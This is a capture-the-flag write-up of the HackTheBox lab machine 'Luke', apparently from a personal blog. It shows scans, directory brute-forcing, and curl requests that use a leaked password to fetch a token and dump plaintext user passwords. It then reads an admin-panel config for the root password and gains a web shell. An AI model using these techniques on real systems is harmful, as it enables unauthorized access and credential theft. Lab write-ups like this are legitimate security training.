HackTheBox - Luke

Summary

Luke, a FreeBSD box created by HackTheBox user H4d3s, was an overall simple medium-difficulty box. Rooting this host is mostly a matter of taking advantage of its sensitive information disclosure, its password reuse, and its over-zealous privileges that are available from the web host. This was the first box where I had rooted the box before getting user.

Initial Foothold

nmap scan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# Nmap 7.70 scan initiated Sun May 26 02:21:09 2019 as: nmap -vvv -sC -sV -oN nmap/luke 10.10.10.137
Nmap scan report for 10.10.10.137
Host is up, received echo-reply ttl 63 (0.13s latency).
Scanned at 2019-05-26 02:21:10 IST for 215s
Not shown: 995 closed ports
Reason: 995 resets
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 63 vsftpd 3.0.3+ (ext.1)
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 0 0 512 Apr 14 12:35 webapp
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.15.103
| Logged in as ftp
| TYPE: ASCII
| No session upload bandwidth limit
| No session download bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3+ (ext.1) - secure, fast, stable
|_End of status
22/tcp open ssh? syn-ack ttl 63
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.38 ((FreeBSD) PHP/7.3.3)
| http-methods:
| Supported Methods: GET POST OPTIONS HEAD TRACE
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.38 (FreeBSD) PHP/7.3.3
|_http-title: Luke
3000/tcp open http syn-ack ttl 63 Node.js Express framework
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
8000/tcp open http-alt syn-ack ttl 63
| fingerprint-strings:
| Help, Kerberos, LDAPSearchReq, LPDString, SIPOptions, Socks5, TLSSessionReq:
| HTTP/1.1 400 Bad Request
| Connection: close
|_ Content-length: 0
| http-methods:
|_ Supported Methods: OPTIONS
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.70%I=7%D=5/26%Time=5CE9AAE0%P=x86_64-pc-linux-gnu%r(So
SF:cks5,42,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n
SF:Content-length:\x200\r\n\r\n")%r(Help,42,"HTTP/1\.1\x20400\x20Bad\x20Re
SF:quest\r\nConnection:\x20close\r\nContent-length:\x200\r\n\r\n")%r(TLSSe
SF:ssionReq,42,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20close
SF:\r\nContent-length:\x200\r\n\r\n")%r(Kerberos,42,"HTTP/1\.1\x20400\x20B
SF:ad\x20Request\r\nConnection:\x20close\r\nContent-length:\x200\r\n\r\n")
SF:%r(LPDString,42,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnection:\x20c
SF:lose\r\nContent-length:\x200\r\n\r\n")%r(LDAPSearchReq,42,"HTTP/1\.1\x2
SF:0400\x20Bad\x20Request\r\nConnection:\x20close\r\nContent-length:\x200\
SF:r\n\r\n")%r(SIPOptions,42,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nConnec
SF:tion:\x20close\r\nContent-length:\x200\r\n\r\n");

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun May 26 02:24:45 2019 -- 1 IP address (1 host up) scanned in 215.62 seconds

The initial nmap scan revealed a bunch of open ports:

The FTP server on port tcp/21 allows anonymous connections. There is only one file on it:

1
2
3
4
5
6
7
8
# cat for_Chihiro.txt
Dear Chihiro !!

As you told me that you wanted to learn Web Development and Frontend, I can give you a little push by showing the sources of
the actual website I've created .
Normally you should know where to look but hurry up because I will delete them soon because of our security policies !

Derry

The web application on port tcp/80 appears to be a very simple static page without much functionality.
Port tcp/3000 looks like some sort of API that requires authentication.
And tcp/8000 is running Ajenti, a server administration panel which also requires credentials.

Using gobuster on port tcp/80 the following paths are found (among others):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://luke.io/
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: html,php,txt,conf
[+] Timeout: 10s
===============================================================
2019/09/13 11:56:22 Starting gobuster
===============================================================
/login.php (Status: 200)
/member (Status: 301)
/management (Status: 401)
/css (Status: 301)
/index.html (Status: 200)
/js (Status: 301)
/vendor (Status: 301)
/config.php (Status: 200)
/LICENSE (Status: 200)
===============================================================
2019/09/13 12:06:47 Finished
===============================================================

After some quick enumeration with sqlmap on the login portal, it seems like SQL injection is not the intended path. There are, however, credentials for the mysql database server’s root user on the site’s config.php page:

Unfortunately, we cannot use these credentials at the login portal here either. We can, however, enumerate the other web services on the box for open directories:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://luke.io:3000
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: txt,html,php
[+] Timeout: 10s
===============================================================
2019/09/13 12:19:54 Starting gobuster
===============================================================
/login (Status: 200)
/users (Status: 200)
/Login (Status: 200)
/Users (Status: 200)
...
===============================================================
2019/09/13 12:36:47 Finished
===============================================================

Researching similar json applications that require certain parameters to be authenticated, yields a functioning template for our purposes:

1
curl -H "Content-Type: application/json" -X POST -d '{"username":"admin","password":"Zk6heYCyv6ZE9Xcg"}' http:/luke.io:3000/Login

Give us a JSON Web Token. Using the token on /users/ route we get.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
curl -s -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYxMDI3OTk1LCJleHAiOjE1NjExMTQzOTV9.VfP8tqRM-wXEpAE6BTE-xYOQZdHf48N5vp15MnbXzdk" http://10.10.10.137:3000/users | jq .
[
{
"ID": "1",
"name": "Admin",
"Role": "Superuser"
},
{
"ID": "2",
"name": "Derry",
"Role": "Web Admin"
},
{
"ID": "3",
"name": "Yuri",
"Role": "Beta Tester"
},
{
"ID": "4",
"name": "Dory",
"Role": "Supporter"
}
]

And now we can request details of each user which reveals a password for every account:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
curl -s -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYxMDI3OTk1LCJleHAiOjE1NjExMTQzOTV9.VfP8tqRM-wXEpAE6BTE-xYOQZdHf48N5vp15MnbXzdk" http://10.10.10.137:3000/users/admin | jq .
{
"name": "Admin",
"password": "WX5b7)>/rp$U)FW"
}
# curl -s -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYxMDI3OTk1LCJleHAiOjE1NjExMTQzOTV9.VfP8tqRM-wXEpAE6BTE-xYOQZdHf48N5vp15MnbXzdk" http://10.10.10.137:3000/users/derry | jq .
{
"name": "Derry",
"password": "rZ86wwLvx7jUxtch"
}
# curl -s -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYxMDI3OTk1LCJleHAiOjE1NjExMTQzOTV9.VfP8tqRM-wXEpAE6BTE-xYOQZdHf48N5vp15MnbXzdk" http://10.10.10.137:3000/users/yuri | jq .
{
"name": "Yuri",
"password": "bet@tester87"
}
# curl -s -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYxMDI3OTk1LCJleHAiOjE1NjExMTQzOTV9.VfP8tqRM-wXEpAE6BTE-xYOQZdHf48N5vp15MnbXzdk" http://10.10.10.137:3000/users/dory | jq .
{
"name": "Dory",
"password": "5y:!xa=ybfe)/QD"
}

We can try to use these credentials in some other areas. Although none of these credentials are valid for the login portal from earlier (nor are they valid ssh credentials), Derry’s credentials are valid for the management page found earlier with gobuster on port 80: In that folder are 3 files, 2 of which we already know:

Requesting config.json reveals some Ajenti configuration:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
curl 'http://Derry:rZ86wwLvx7jUxtch@10.10.10.137/management/config.json'
{
"users": {
"root": {
"configs": {
"ajenti.plugins.notepad.notepad.Notepad": "{\"bookmarks\": [], \"root\": \"/\"}",
"ajenti.plugins.terminal.main.Terminals": "{\"shell\": \"sh -c $SHELL || sh\"}",
"ajenti.plugins.elements.ipmap.ElementsIPMapper": "{\"users\": {}}",
"ajenti.plugins.munin.client.MuninClient": "{\"username\": \"username\", \"prefix\": \"http://localhost:8080/munin\", \"password\": \"123\"}",
"ajenti.plugins.dashboard.dash.Dash": "{\"widgets\": [{\"index\": 0, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.sensors.memory.MemoryWidget\"}, {\"index\": 1, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.sensors.memory.SwapWidget\"}, {\"index\": 2, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.dashboard.welcome.WelcomeWidget\"}, {\"index\": 0, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.sensors.uptime.UptimeWidget\"}, {\"index\": 1, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.power.power.PowerWidget\"}, {\"index\": 2, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.sensors.cpu.CPUWidget\"}]}",
"ajenti.plugins.elements.shaper.main.Shaper": "{\"rules\": []}",
"ajenti.plugins.ajenti_org.main.AjentiOrgReporter": "{\"key\": null}",
"ajenti.plugins.logs.main.Logs": "{\"root\": \"/var/log\"}",
"ajenti.plugins.mysql.api.MySQLDB": "{\"password\": \"\", \"user\": \"root\", \"hostname\": \"localhost\"}",
"ajenti.plugins.fm.fm.FileManager": "{\"root\": \"/\"}",
"ajenti.plugins.tasks.manager.TaskManager": "{\"task_definitions\": []}",
"ajenti.users.UserManager": "{\"sync-provider\": \"\"}",
"ajenti.usersync.adsync.ActiveDirectorySyncProvider": "{\"domain\": \"DOMAIN\", \"password\": \"\", \"user\": \"Administrator\", \"base\": \"cn=Users,dc=DOMAIN\", \"address\": \"localhost\"}",
"ajenti.plugins.elements.usermgr.ElementsUserManager": "{\"groups\": []}",
"ajenti.plugins.elements.projects.main.ElementsProjectManager": "{\"projects\": \"KGxwMQou\\n\"}"
},
"password": "KpMasng6S5EtTy9Z",
"permissions": []
}
},
"language": "",
"bind": {
"host": "0.0.0.0",
"port": 8000
},
"enable_feedback": true,
"ssl": {
"enable": false,
"certificate_path": ""
},
"authentication": true,
"installation_id": 12354
}

And among that also a new password. With this password and the username root we can now finally login at port tcp/8000:

Acquiring root.txt and user.txt

Ajenti Admin Panel:

If we manually fuzz the credentials, we quickly realize we can authenticate with the username root and the password in the previous section. Once we sign in, we have access to the admin panel:

We can get a web shell in Ajenti and use that to get user.txt and root.txt

And we have pawned Luke

Author: Shubham Kumar
Link: https://f3v3r.in/htb/machines/retired/Luke/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.